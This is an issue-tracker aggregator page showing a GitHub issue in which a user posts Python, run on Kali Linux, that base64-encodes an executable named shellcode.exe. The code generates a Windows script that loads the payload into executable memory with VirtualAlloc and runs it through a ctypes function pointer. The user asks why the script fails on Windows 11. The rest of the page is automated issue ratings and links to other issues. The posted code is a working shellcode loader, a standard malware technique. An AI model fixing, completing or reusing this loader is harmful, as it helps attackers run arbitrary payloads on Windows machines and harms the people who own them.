i need know why and how to do🥹
还没有人认领这个 Issue。
评估
- 难度
- 5/5
- 预计耗时
- 一周以上
- 新手友好度
- 15/100
- Issue 类型
- 缺陷
- 描述清晰度
- 需要澄清
- 活跃度
- 停滞
- 技术栈
- python
调研方向
先查看附带的错误图片和生成的 windows_script.py,然后比较脚本在 Kali Linux 中是如何生成的,以及在 Windows 11 上是如何运行的。要解决问题,需要确定报告的失败并定义受支持的执行环境,但该 issue 未包含足够的错误文本或项目上下文,无法确定“done”意味着什么。
由索引模型根据 Issue 内容生成。
描述
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
- 主要语言
- Python
- 星标
- 284k
- 派生
- 36.3k
- PR 合并指标
- 30 天内没有已合并 PR
贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
practical-tutorials/project-based-learning 的其他 Issue
-
难度 1/5 1-3 小时 新手友好度 75/100
practical-tutorials/project-based-learning#888 · 3 条评论 ·
-
Broken Link: Erlang -> "Making a Chat App with Erlang, Rebar, Cowboy and Bullet" leads to 404 error 未关闭
难度 1/5 1 小时以内 新手友好度 64/100
practical-tutorials/project-based-learning#840 · 2 条评论 ·
-
BOMOYI 未关闭
难度 5/5 一周以上 新手友好度 20/100
practical-tutorials/project-based-learning#937 · 1 条评论 ·
-
难度 5/5 一周以上 新手友好度 25/100
-
link-rot
难度 4/5 3-5 天 新手友好度 25/100
practical-tutorials/project-based-learning#899 · 1 条评论 ·
查看 practical-tutorials/project-based-learning 的全部 Issue
相似的 Issue
-
难度 1/5 1 小时以内 新手友好度 75/100
-
hcocena 未关闭policies-accepted pre-review precheck-passed
难度 1/5 1 小时以内 新手友好度 88/100
Bioconductor/BiocContributions#214 · 5 条评论 ·
-
难度 1/5 1 小时以内 新手友好度 92/100
TencentCloud/Octop#1169 · 1 条评论 ·
-
难度 2/5 1-3 小时 新手友好度 70/100
521xueweihan/HelloGitHub#3778 ·
-
The version checker's trailing attribute region has no control for a less-than inside a quoted value 未关闭area: dashboard area: tests bug perceived difficulty: 2 python
难度 2/5 1-3 小时 新手友好度 84/100
Nitjsefnie-Harness-Commons/daedalus#1105 · 1 条评论 ·